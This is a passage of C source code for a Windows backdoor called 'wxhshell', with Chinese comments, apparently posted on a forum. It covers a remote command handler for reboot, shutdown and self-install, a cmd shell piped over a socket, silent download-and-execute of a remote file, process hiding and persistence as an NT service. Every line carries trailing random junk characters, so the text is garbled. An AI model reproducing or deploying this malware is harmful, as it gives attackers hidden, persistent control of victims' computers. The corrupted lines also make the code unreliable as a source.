  sZT VM9<)  
  // 帮助 cmae&Atotw  
  case '?': { *%nX#mwz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @YsL*zw  
    break; 4 #G3ew  
  } .C6gl]6y@  
  // 安装 9 #:ue@)  
  case 'i': { q4 $sc_0i  
    if(Install()) ?nY/, q&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . rRc  
    else H&9wSG`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m8p4U-*j  
    break; h|)2'07  
    } P^ by'b+zI  
  // 卸载 HaS[.&\S0  
  case 'r': { uQ-WTz|*  
    if(Uninstall()) ,~iFEaV+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N!Rt;Xm2@  
    else wAPO{3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  X+\0%|  
    break; 7@3M]5:3g  
    } rtoSCj:  
  // 显示 wxhshell 所在路径 r!>es;R8  
  case 'p': { ?fm2qrV@fp  
    char svExeFile[MAX_PATH]; \#HL`R"  
    strcpy(svExeFile,"\n\r"); N#mK7|\c?:  
      strcat(svExeFile,ExeFile); dfnX!C~6\  
        send(wsh,svExeFile,strlen(svExeFile),0); L{zamVQG  
    break; e_\SSH @tw  
    } N%: D8\qx  
  // 重启 -g~iE]x6Y  
  case 'b': { VB}PNg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s9=pV4fA~w  
    if(Boot(REBOOT)) O $YJku  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5QNBB|X@  
    else { =xl7vHn7  
    closesocket(wsh); ?NQD#  
    ExitThread(0); 6CCZda@  
    } @ $ 9m>6V  
    break; *'s&/vEy  
    } +W!'B r  
  // 关机 Id; mn}+~  
  case 'd': { 65 NWX8f}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J*/$ywI  
    if(Boot(SHUTDOWN))  ;I[ .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >I{4  
    else { P^i6MZ?   
    closesocket(wsh); V>DXV-%&C  
    ExitThread(0); HdDo&#  
    } !N@Yh"c  
    break; Z8N@e<!*~8  
    } "~B~{ _<j  
  // 获取shell ^Jc$BMaVg  
  case 's': { :+kg4v&r  
    CmdShell(wsh); H rM)jC<~  
    closesocket(wsh); AN50P!FZW  
    ExitThread(0);  zgZi  
    break; iLc)"L-i  
  } YN$ndqOP  
  // 退出 Ov F8&*A  
  case 'x': { EG8%~k+R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fa Qu$q  
    CloseIt(wsh); ytuWT,u  
    break; *)2x&~T*|  
    } "'Q$.sR  
  // 离开 })h'""i&xn  
  case 'q': { Djg 1Qh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |E>v~qD8I  
    closesocket(wsh); e-YGuWGN7  
    WSACleanup(); P TfN+  
    exit(1); e<&_tx   
    break; ? Yynd  
        } Z_ iQU1  
  } 7R% PVgS4x  
  } $sB48LJuU'  
eA;j/&qH  
  // 提示信息 zzDNWPzsA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1mvu3}ewx  
} w-{#6/<kI5  
  } h+ `J=a|\  
5x93+DkO\  
  return; eUGm ns  
} Qr^Z~$i t  
8+@1wks  
// shell模块句柄 R] V~IDs   
int CmdShell(SOCKET sock) Xuz8"b5^Zx  
{ OgzGkc@A  
STARTUPINFO si; 7zz(#  
ZeroMemory(&si,sizeof(si)); mH7CgI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (@N~ j&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f z/?=  
PROCESS_INFORMATION ProcessInfo; MZ >0K  
char cmdline[]="cmd"; :~qtvs;{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  Y,<WX v  
  return 0; |1\dCE03}  
} #]N&6ngJ  
59"Nn\}3gE  
// 自身启动模式 -Ihn<<uE?  
int StartFromService(void) ~7)rKHau  
{ Ynk><0g6  
typedef struct ,& \&::R  
{ ?trt4Tbe/  
  DWORD ExitStatus; ~0Q\Lp);  
  DWORD PebBaseAddress; :c+a-Py $E  
  DWORD AffinityMask; P5ESrZ@f  
  DWORD BasePriority; VygXhh^7\  
  ULONG UniqueProcessId; c DEe?WS  
  ULONG InheritedFromUniqueProcessId; &})4?5  
}   PROCESS_BASIC_INFORMATION; .yHHogbt  
ID{Pzmt-  
PROCNTQSIP NtQueryInformationProcess; l72i e  
hCOy\[2$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  5Fl  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H8=vQy  
/(WX!EEsB  
  HANDLE             hProcess; 4IGQ,RTB  
  PROCESS_BASIC_INFORMATION pbi;  HC<BGIgL  
\|b1s @c8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M25z<Y  
  if(NULL == hInst ) return 0; t"!8  
3qV>TE]6,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [4+a 1/^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4p/V6kr&r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @zq\z$  
S3JygN*  
  if (!NtQueryInformationProcess) return 0; dKN3ZCw*gF  
TnZc.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iu:p &h  
  if(!hProcess) return 0; iA{chQBr  
aF4V|?+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [ XY:MU e  
E}CqVuU$  
  CloseHandle(hProcess); J?HZ,7X:  
.ON$vn7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;MdK3c  
if(hProcess==NULL) return 0; q}7Df!<|  
e4NX\tCpw  
HMODULE hMod; {KQ-Ce-6  
char procName[255]; w!GU~0~3[  
unsigned long cbNeeded; [b)K@Ha  
5jCEy*%P@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RE*S7[ge  
bQ:3G;  
  CloseHandle(hProcess); OB? 79l  
UdM5R [  
if(strstr(procName,"services")) return 1; // 以服务启动 H&>>]DD  
lG^mW \ O  
  return 0; // 注册表启动 L-X _b3E\  
} #D*J5k>2  
*7D$;?"  
// 主模块 OHa{!SaL  
int StartWxhshell(LPSTR lpCmdLine) " :nVigw&  
{ Q/9vDv  
  SOCKET wsl; R;,u >P "  
BOOL val=TRUE; \5L4*  
  int port=0; AQBx k[  
  struct sockaddr_in door; `X]2iz  
1wH/#K  
  if(wscfg.ws_autoins) Install(); ~ @"Qm;} "  
gCBZA;/  
port=atoi(lpCmdLine); Uc%`? +Q  
iRr& 'k  
if(port<=0) port=wscfg.ws_port; 0T{Y_IG  
Pt)}HF|u  
  WSADATA data; _$jJpy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !E.l yz  
[8J}da}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~Sem_U`G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '' A[`,3  
  door.sin_family = AF_INET; MAhPO!e5.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $R#L@iL-  
  door.sin_port = htons(port); 8@C|exAD`  
gt~2Br4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $!3t$-TSD  
closesocket(wsl); gS o(PW)  
return 1; I`}vdX)  
} e^fKatI1  
$A!h=]  
  if(listen(wsl,2) == INVALID_SOCKET) { v(nQd6;T  
closesocket(wsl); }T*xT>p^3  
return 1; W;@ae,^  
} 8J(zWV7 r  
  Wxhshell(wsl); #di_V"  
  WSACleanup(); ?~y(--.t;T  
Cot\i\]jv  
return 0; (/P&;?j  
ke6cZV5w  
} hy`)]>9z~  
oX]1>#5UMg  
// 以NT服务方式启动 |"E9DD]{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YGO7lar  
{ ?kxWj(D  
DWORD   status = 0; 2B?i2[a,  
  DWORD   specificError = 0xfffffff; 50hh0!1  
JGNxJ S<]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; pxnUe1=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7;-i_&vws  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qN,FX#DP  
  serviceStatus.dwWin32ExitCode     = 0; qO3BQ]UF  
  serviceStatus.dwServiceSpecificExitCode = 0; ^E?V+3mV  
  serviceStatus.dwCheckPoint       = 0; 4 AmF^H  
  serviceStatus.dwWaitHint       = 0; jHw2Q8s|R  
%[CM;|?B4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {EHG |  
  if (hServiceStatusHandle==0) return; =X'7V}Q}  
4g^+y.,r_f  
status = GetLastError(); rxk{Li<9  
  if (status!=NO_ERROR) \osQwGPV  
{ :Ty*i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +&8Ud8Q  
    serviceStatus.dwCheckPoint       = 0; Q>c6ouuJ  
    serviceStatus.dwWaitHint       = 0; Y_YIJ@  
    serviceStatus.dwWin32ExitCode     = status; <%JO 3E  
    serviceStatus.dwServiceSpecificExitCode = specificError; cQ ;Ry!$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8t \>  
    return; x{o5Ha{  
  } [jn;| 3  
BiCa "  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,ST.pu8N.  
  serviceStatus.dwCheckPoint       = 0; M@@O50~  
  serviceStatus.dwWaitHint       = 0; oi4Wxcj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _Vf|F  
} 0!\q  
7Cp_ 41._  
// 处理NT服务事件,比如:启动、停止 FAl6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u9~J1s<e  
{ O;t?@!_  
switch(fdwControl) G6bg ~V5Q:  
{ V xs`w  
case SERVICE_CONTROL_STOP: ^b. MR?9  
  serviceStatus.dwWin32ExitCode = 0; t"vO&+x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z6@J-<u  
  serviceStatus.dwCheckPoint   = 0; 'yjH~F.  
  serviceStatus.dwWaitHint     = 0; !#s7 F  
  { [t) i\ }V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rw8m5U  
  } Q31c@t  
  return; Ou,_l  
case SERVICE_CONTROL_PAUSE: ZTC1t_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z6r/ w  
  break; ,PxQ[CGg  
case SERVICE_CONTROL_CONTINUE: d+ko"F|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [mvHa;-w  
  break; 3+uoK f[  
case SERVICE_CONTROL_INTERROGATE: Y. tFqzo3  
  break; '+tT$k  
}; ,WK$jHG]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jn Y3G  
} ]}y'3aW  
-s "$I:v  
// 标准应用程序主函数 xmx;tq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VjM uU"++@  
{ 4ux5G`oL  
dV  
// 获取操作系统版本 A6.'1OD  
OsIsNt=GetOsVer(); ;>Qd )'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); umn^QZ,  
shZ<j7gqI  
  // 从命令行安装 uNBhVsM6<  
  if(strpbrk(lpCmdLine,"iI")) Install(); X0TGJ,yW(  
T bWZw  
  // 下载执行文件 +N_%|!F-c  
if(wscfg.ws_downexe) {  gOAluP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %n,bPa>T  
  WinExec(wscfg.ws_filenam,SW_HIDE); @1Lc`;Wd  
} ibw;BU  
ji=po;g=E  
if(!OsIsNt) { ]~ UkD*Ct  
// 如果时win9x,隐藏进程并且设置为注册表启动 *4y r7~S5  
HideProc(); nP31jm+A  
StartWxhshell(lpCmdLine); $c47cJO)W  
} 5 Vqvb|  
else Hp AZ{P7  
  if(StartFromService()) *X=-^\G  
  // 以服务方式启动 W7"sWaOhW  
  StartServiceCtrlDispatcher(DispatchTable); !{;RtUPz*  
else *?&O8SSBH  
  // 普通方式启动 iK:]Q8b  
  StartWxhshell(lpCmdLine); RVnYe='  
o#6}?g.  
return 0; 6P|neb}  
}
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只看该作者 1 发表于: 2006-10-10
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